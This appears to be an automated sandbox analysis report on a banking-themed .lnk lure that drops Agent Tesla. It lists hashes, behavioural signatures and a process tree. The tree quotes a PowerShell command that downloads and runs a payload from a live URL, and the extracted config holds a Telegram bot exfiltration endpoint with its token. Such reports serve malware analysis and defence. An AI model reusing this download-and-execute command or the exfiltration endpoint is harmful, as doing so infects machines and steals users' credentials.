Analysis
-
max time kernel
114s -
max time network
122s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
20-02-2024 07:07
Static task
static1
Behavioral task
behavioral1
Sample
Banque BEA_Copie de Paiement_txt.lnk
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Banque BEA_Copie de Paiement_txt.lnk
Resource
win10v2004-20231222-en
General
-
Target
Banque BEA_Copie de Paiement_txt.lnk
-
Size
2KB
-
MD5
32d11ce69ae0bae7375a6a9fcdf65238
-
SHA1
d7ee753812e1b9180d7df3df34df08f13c97ac7a
-
SHA256
8420bf1711e75f17cb07a83a66e038f9635968eeaa17c3540c966347bb1d373c
-
SHA512
3e4c138fdb052ea6a1bd313f0330ce7a0f7b4abff4eccbc612aaccf639ef5fa50491987e8e22817e028c465762547cd253cc1f0d32944f106b0f06ab703cc2a3
Malware Config
Extracted
https://remisat.com.uy/bim/office.bat
Extracted
agenttesla
https://api.telegram.org/bot6788300365:AAHk2GTWUvl7PlvMxXk2M1D_7e1yYgg26zE/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect ZGRat V1 34 IoCs
resource yara_rule behavioral2/memory/1860-27-0x0000000006260000-0x0000000006318000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-30-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-31-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-33-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-35-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-37-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-39-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-41-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-43-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-45-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-47-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-49-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-51-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-53-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-55-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-57-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-59-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-61-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-63-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-65-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-67-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-69-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-71-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-73-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-75-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-77-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-79-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-81-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-83-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-85-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-87-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-89-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-91-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 behavioral2/memory/1860-93-0x0000000006260000-0x0000000006313000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 1 IoCs
flow pid Process 6 1564 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 1860 word.exe 5052 word.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uuxxxvzm = "C:\\Users\\Admin\\AppData\\Roaming\\Uuxxxvzm.exe" word.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1860 set thread context of 5052 1860 word.exe 89 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1564 powershell.exe 1564 powershell.exe 5052 word.exe 5052 word.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1564 powershell.exe Token: SeDebugPrivilege 1860 word.exe Token: SeDebugPrivilege 5052 word.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4804 wrote to memory of 1564 4804 cmd.exe 86 PID 4804 wrote to memory of 1564 4804 cmd.exe 86 PID 1564 wrote to memory of 4132 1564 powershell.exe 87 PID 1564 wrote to memory of 4132 1564 powershell.exe 87 PID 1564 wrote to memory of 1860 1564 powershell.exe 88 PID 1564 wrote to memory of 1860 1564 powershell.exe 88 PID 1564 wrote to memory of 1860 1564 powershell.exe 88 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89 PID 1860 wrote to memory of 5052 1860 word.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Banque BEA_Copie de Paiement_txt.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -noLogo -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile('https://remisat.com.uy/bim/office.bat','word.exe');./word.exe;2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe"3⤵PID:4132
-
-
C:\Users\Admin\AppData\Local\Temp\word.exe"C:\Users\Admin\AppData\Local\Temp\word.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1860 -
C:\Users\Admin\AppData\Local\Temp\word.exeC:\Users\Admin\AppData\Local\Temp\word.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5052
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD59121e6ef340710951d0829deb721bf6a
SHA13354ef7bc1f26e0e64e40907ff9a347df5630e1e
SHA2566fa111c0652755148dffb297e76843ba63eb86dfe92b6fa18a3f715dd4c21baa
SHA512e89216568cb6b64319dd69507875d74ab17d4bf464ea97f82df5f25ca974fa94709f828b951e81039fd442861d08fd92a481ea5917e40ace6df67e0b442e0e57
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
33KB
MD5d5b2699f5db98b878a555b02c908a91a
SHA16a88c9e99108d0cb856c26f28b051de89e776666
SHA25698db16986decc074c69f47419cb5cd4a55c6a776baf68c7781e5a1a5df0f3eb4
SHA512400f2d42c6172fd5b2e958892eeaa576683719bbb5fb4e901202b627a5f81f15cd82cbce0f69921502faf45e4ce18bc04c81214d54bbe4437d3602d9dab147b0